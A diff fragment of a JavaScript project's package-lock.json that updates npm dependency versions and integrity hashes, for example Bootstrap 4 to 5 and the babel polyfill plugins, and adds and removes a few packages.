-3514,15 +3882,15 @@ "dev": true }, "node_modules/array-includes": { - "version": "3.1.6", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.6.tgz", - "integrity": "sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==", + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.7.tgz", + "integrity": "sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4", - "get-intrinsic": "^1.1.3", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", "is-string": "^1.0.7" }, "engines": { @@ -3532,15 +3900,33 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/array.prototype.flat": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz", + "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/array.prototype.flatmap": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz", - "integrity": "sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz", + "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", "es-shim-unscopables": "^1.0.0" }, "engines": { @@ -3551,16 +3937,37 @@ } }, "node_modules/array.prototype.tosorted": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz", - "integrity": "sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.2.tgz", + "integrity": "sha512-HuQCHOlk1Weat5jzStICBCd83NxiIMwqDg/dHEsoefabn/hJRj5pVdWcPUSpRrwhwxZOsQassMpgN/xRYFBMIg==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", "es-shim-unscopables": "^1.0.0", - "get-intrinsic": "^1.1.3" + "get-intrinsic": "^1.2.1" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz", + "integrity": "sha512-yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "is-array-buffer": "^3.0.2", + "is-shared-array-buffer": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/asap": { @@ -3593,14 +4000,15 @@ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" }, "node_modules/assert": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/assert/-/assert-2.0.0.tgz", - "integrity": "sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.1.0.tgz", + "integrity": "sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==", "dependencies": { - "es6-object-assign": "^1.1.0", - "is-nan": "^1.2.1", - "object-is": "^1.0.1", - "util": "^0.12.0" + "call-bind": "^1.0.2", + "is-nan": "^1.3.2", + "object-is": "^1.1.5", + "object.assign": "^4.1.4", + "util": "^0.12.5" } }, "node_modules/assert-plus": { @@ -3619,11 +4027,28 @@ "tslib": "^2.4.0" } }, + "node_modules/asynciterator.prototype": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz", + "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.3" + } + }, "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" }, + "node_modules/attr-accept": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/attr-accept/-/attr-accept-2.2.2.tgz", + "integrity": "sha512-7prDjvt9HmqiZ0cl5CRjtS84sEyhsHP2coDkaZKRKVfCDo9s7iw7ChVmar78Gu9pC4SoR/28wFu/G5JJhTnqEg==", + "engines": { + "node": ">=4" + } + }, "node_modules/available-typed-arrays": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", @@ -3649,12 +4074,12 @@ "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==" }, "node_modules/babel-loader": { - "version": "9.1.2", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-9.1.2.tgz", - "integrity": "sha512-mN14niXW43tddohGl8HPu5yfQq70iUThvFL/4QzESA7GcZoC0eVOhvWdQ8+3UlSjaDE9MVtsW9mxDY07W7VpVA==", + "version": "9.1.3", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-9.1.3.tgz", + "integrity": "sha512-xG3ST4DglodGf8qSwv0MdeWLhrDsw/32QMdTO5T1ZIp9gQur0HkCyFs7Awskr10JKXFXwpAhiCuYX5oGXnRGbw==", "dev": true, "dependencies": { - "find-cache-dir": "^3.3.2", + "find-cache-dir": "^4.0.0", "schema-utils": "^4.0.0" }, "engines": { @@ -3686,51 +4111,51 @@ } }, "node_modules/babel-plugin-polyfill-corejs2": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", - "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==", + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.5.tgz", + "integrity": "sha512-19hwUH5FKl49JEsvyTcoHakh6BE0wgXLLptIyKZ3PijHc/Ci521wygORCUCCred+E/twuqRyAkE02BAWPmsHOg==", "dev": true, "dependencies": { - "@babel/compat-data": "^7.17.7", - "@babel/helper-define-polyfill-provider": "^0.3.3", - "semver": "^6.1.1" + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.4.2", + "semver": "^6.3.1" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/babel-plugin-polyfill-corejs3": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz", - "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==", + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.3.tgz", + "integrity": "sha512-z41XaniZL26WLrvjy7soabMXrfPWARN25PZoriDEiLMxAp50AUW3t35BGQUMg5xK3UrpVTtagIDklxYa+MhiNA==", "dev": true, "dependencies": { - "@babel/helper-define-polyfill-provider": "^0.3.3", - "core-js-compat": "^3.25.1" + "@babel/helper-define-polyfill-provider": "^0.4.2", + "core-js-compat": "^3.31.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/babel-plugin-polyfill-regenerator": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz", - "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.2.tgz", + "integrity": "sha512-tAlOptU0Xj34V1Y2PNTL4Y0FOJMDB6bZmoW39FeCQIhigGLkqu3Fj6uiXpxIf6Ij274ENdYx64y6Au+ZKlb1IA==", "dev": true, "dependencies": { - "@babel/helper-define-polyfill-provider": "^0.3.3" + "@babel/helper-define-polyfill-provider": "^0.4.2" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/bail": { @@ -3786,15 +4211,6 @@ "tweetnacl": "^0.14.3" } }, - "node_modules/big.js": { - "version": "5.2.2", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", - "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", - "dev": true, - "engines": { - "node": "*" - } - }, "node_modules/binary-extensions": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", @@ -3885,9 +4301,9 @@ } }, "node_modules/bonjour-service": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.1.0.tgz", - "integrity": "sha512-LVRinRB3k1/K0XzZ2p58COnWvkQknIY6sf0zF2rpErvcJXpMBttEPQSxK+HEXSS9VmpZlDoDnQWv8ftJT20B0Q==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.1.1.tgz", + "integrity": "sha512-Z/5lQRMOG9k7W+FkeGTNjh7htqn/2LMnfOvBZ8pynNZCM9MwkQkI3zeI4oz09uWdcgmgHugVvBqxGg4VQJ5PCg==", "dev": true, "dependencies": { "array-flatten": "^2.1.2", @@ -3903,9 +4319,9 @@ "dev": true }, "node_modules/bootstrap": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.2.tgz", - "integrity": "sha512-51Bbp/Uxr9aTuy6ca/8FbFloBUJZLHwnhTcnjIeRn2suQWsWzcuJhGjKDB5eppVte/8oCdOL3VuwxvZDUggwGQ==", + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-5.3.2.tgz", + "integrity": "sha512-D32nmNWiQHo94BKHLmOrdjlL05q1c8oxbtBphQFb9Z5to6eGRDCm0QgeaZ4zFBHzfg2++rqa2JkqCcxDy0sH0g==", "funding": [ { "type": "github", @@ -3917,8 +4333,7 @@ } ], "peerDependencies": { - "jquery": "1.9.1 - 3", - "popper.js": "^1.16.1" + "@popperjs/core": "^2.11.8" } }, "node_modules/brace-expansion": { @@ -4008,9 +4423,9 @@ } }, "node_modules/browserify-sign/node_modules/readable-stream": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", - "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -4029,9 +4444,9 @@ } }, "node_modules/browserslist": { - "version": "4.21.5", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz", - "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==", + "version": "4.21.10", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz", + "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==", "funding": [ { "type": "opencollective", @@ -4040,13 +4455,17 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], "dependencies": { - "caniuse-lite": "^1.0.30001449", - "electron-to-chromium": "^1.4.284", - "node-releases": "^2.0.8", - "update-browserslist-db": "^1.0.10" + "caniuse-lite": "^1.0.30001517", + "electron-to-chromium": "^1.4.477", + "node-releases": "^2.0.13", + "update-browserslist-db": "^1.0.11" }, "bin": { "browserslist": "cli.js" @@ -4133,9 +4552,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001460", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001460.tgz", - "integrity": "sha512-Bud7abqjvEjipUkpLs4D7gR0l8hBYBHoa+tGtKJHvT2AYzLp1z7EmVkUT4ERpVUfca8S2HGIVs883D8pUH1ZzQ==", + "version": "1.0.30001535", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001535.tgz", + "integrity": "sha512-48jLyUkiWFfhm/afF7cQPqPjaUmSraEhK4j+FCTJpgnGGEZHqyLe3hmWH7lIooZdSzXL0ReMvHz0vKDoTBsrwg==", "funding": [ { "type": "opencollective", @@ -4144,6 +4563,10 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ] }, @@ -4247,9 +4670,9 @@ "integrity": "sha512-CSbhY4cFEJRe6/GQzIk5qXZ4Jeg5pcsP7b5peFSDpffpe1cqjASH/n9UTjBwOp6XpMSTwQ8Za2K5V02ueA7Tmw==" }, "node_modules/clean-css": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.2.0.tgz", - "integrity": "sha512-2639sWGa43EMmG7fn8mdVuBSs6HuWaSor+ZPoFWzenBc6oN+td8YhTfghWXZ25G1NiiSvz8bOFBS7PdSbTiqEA==", + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", "dev": true, "dependencies": { "source-map": "~0.6.0" @@ -4293,9 +4716,9 @@ } }, "node_modules/clsx": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz", - "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.0.0.tgz", + "integrity": "sha512-rQ1+kcj+ttHG0MKVGBUXwayCCF1oh39BF5COIpRzuCEv8Mwjv0XucrI2ExNTOn9IlLifGClWQcU9BrZORvtw6Q==", "engines": { "node": ">=6" } @@ -4332,9 +4755,9 @@ } }, "node_modules/colorette": { - "version": "2.0.19", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz", - "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ==", + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", "dev": true }, "node_modules/combined-stream": { @@ -4366,10 +4789,10 @@ "node": ">= 6" } }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "node_modules/common-path-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==", "dev": true }, "node_modules/component-emitter": { @@ -4544,9 +4967,9 @@ } }, "node_modules/core-js": { - "version": "3.29.0", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.29.0.tgz", - "integrity": "sha512-VG23vuEisJNkGl6XQmFJd3rEG/so/CNatqeE+7uZAwTSwFeB/qaO0be8xZYUNWprJ/GIwL8aMt9cj1kvbpTZhg==", + "version": "3.32.2", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.32.2.tgz", + "integrity": "sha512-pxXSw1mYZPDGvTQqEc5vgIb83jGQKFGYWY76z4a7weZXUolw3G+OvpZqSRcfYOoOVUQJYEPsWeQK8pKEnUtWxQ==", "hasInstallScript": true, "funding": { "type": "opencollective", @@ -4554,28 +4977,18 @@ } }, "node_modules/core-js-compat": { - "version": "3.29.0", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.29.0.tgz", - "integrity": "sha512-ScMn3uZNAFhK2DGoEfErguoiAHhV2Ju+oJo/jK08p7B3f3UhocUrCCkTvnZaiS+edl5nlIoiBXKcwMc6elv4KQ==", + "version": "3.32.2", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.32.2.tgz", + "integrity": "sha512-+GjlguTDINOijtVRUxrQOv3kfu9rl+qPNdX2LTbJ/ZyVTuxK+ksVSAGX1nHstu4hrv1En/uPTtWgq2gI5wt4AQ==", "dev": true, "dependencies": { - "browserslist": "^4.21.5" + "browserslist": "^4.21.10" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/core-js" } }, - "node_modules/core-js-pure": { - "version": "3.29.0", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.29.0.tgz", - "integrity": "sha512-v94gUjN5UTe1n0yN/opTihJ8QBWD2O8i19RfTZR7foONPWArnjB96QA/wk5ozu1mm6ja3udQCzOzwQXTxi3xOQ==", - "hasInstallScript": true, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/core-js" - } - }, "node_modules/core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", @@ -4686,15 +5099,15 @@ "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw==" }, "node_modules/css-loader": { - "version": "6.7.3", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.3.tgz", - "integrity": "sha512-qhOH1KlBMnZP8FzRO6YCH9UHXQhVMcEGLyNdb7Hv2cpcmJbW0YrddO+tG1ab5nT41KpHIYGsbeHqxB9xPu1pKQ==", + "version": "6.8.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.8.1.tgz", + "integrity": "sha512-xDAXtEVGlD0gJ07iclwWVkLoZOpEvAWaSyf6W18S2pOC//K8+qUDIx8IIT3D+HjnmkJPQeesOPv5aiUaJsCM2g==", "dev": true, "dependencies": { "icss-utils": "^5.1.0", - "postcss": "^8.4.19", + "postcss": "^8.4.21", "postcss-modules-extract-imports": "^3.0.0", - "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-local-by-default": "^4.0.3", "postcss-modules-scope": "^3.0.0", "postcss-modules-values": "^4.0.0", "postcss-value-parser": "^4.2.0", @@ -4727,15 +5140,6 @@ "url": "https://github.com/sponsors/fb55" } }, - "node_modules/css-vendor": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/css-vendor/-/css-vendor-2.0.8.tgz", - "integrity": "sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==", - "dependencies": { - "@babel/runtime": "^7.8.3", - "is-in-browser": "^1.0.2" - } - }, "node_modules/css-what": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", @@ -4761,9 +5165,9 @@ } }, "node_modules/csstype": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", - "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" }, "node_modules/dashdash": { "version": "1.14.1", @@ -4811,9 +5215,9 @@ "dev": true }, "node_modules/deepmerge": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.0.tgz", - "integrity": "sha512-z2wJZXrmeHdvYJp/Ux55wIjqo81G5Bp4c+oELTW+7ar6SogWHajt5a9gO3s3IDaGSAXjDk0vlQKN3rms8ab3og==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", "dev": true, "engines": { "node": ">=0.10.0" @@ -4831,6 +5235,19 @@ "node": ">= 10" } }, + "node_modules/define-data-property": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.0.tgz", + "integrity": "sha512-UzGwzcjyv3OtAvolTj1GoyNYzfFR+iqbGjcnBEENZVCpM4/Ng1yhGNvS3lR/xDS74Tb2wGG9WzNSNIOS9UVb2g==", + "dependencies": { + "get-intrinsic": "^1.2.1", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/define-lazy-prop": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", @@ -4841,10 +5258,11 @@ } }, "node_modules/define-properties": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", - "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", "dependencies": { + "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" }, @@ -4881,9 +5299,9 @@ } }, "node_modules/des.js": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz", - "integrity": "sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.1.0.tgz", + "integrity": "sha512-r17GxjhUCjSRy8aiJpr8/UadFIzMzJGexI3Nmz4ADi9LYSFx4gTBp80+NaX/YsXWWLhpZ7v/v/ubEc/bCNfKwg==", "dependencies": { "inherits": "^2.0.1", "minimalistic-assert": "^1.0.0" @@ -4914,9 +5332,9 @@ } }, "node_modules/diff-sequences": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.4.3.tgz", - "integrity": "sha512-ofrBgwpPhCD85kMKtE9RYFFq6OC1A89oW2vvgWZNCwxrUpRUILopY7lsYyMDSjc8g6U6aiO0Qubg6r4Wgt5ZnA==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", "dev": true, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -4937,16 +5355,6 @@ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" }, - "node_modules/dnd-core": { - "version": "11.1.3", - "resolved": "https://registry.npmjs.org/dnd-core/-/dnd-core-11.1.3.tgz", - "integrity": "sha512-QugF55dNW+h+vzxVJ/LSJeTeUw9MCJ2cllhmVThVPEtF16ooBkxj0WBE5RB+AceFxMFo1rO6bJKXtqKl+JNnyA==", - "dependencies": { - "@react-dnd/asap": "^4.0.0", - "@react-dnd/invariant": "^2.0.0", - "redux": "^4.0.4" - } - }, "node_modules/dns-equal": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", @@ -4954,9 +5362,9 @@ "dev": true }, "node_modules/dns-packet": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.4.0.tgz", - "integrity": "sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g==", + "version": "5.6.1", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", "dev": true, "dependencies": { "@leichtgewicht/ip-codec": "^2.0.1" @@ -5085,6 +5493,12 @@ "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": 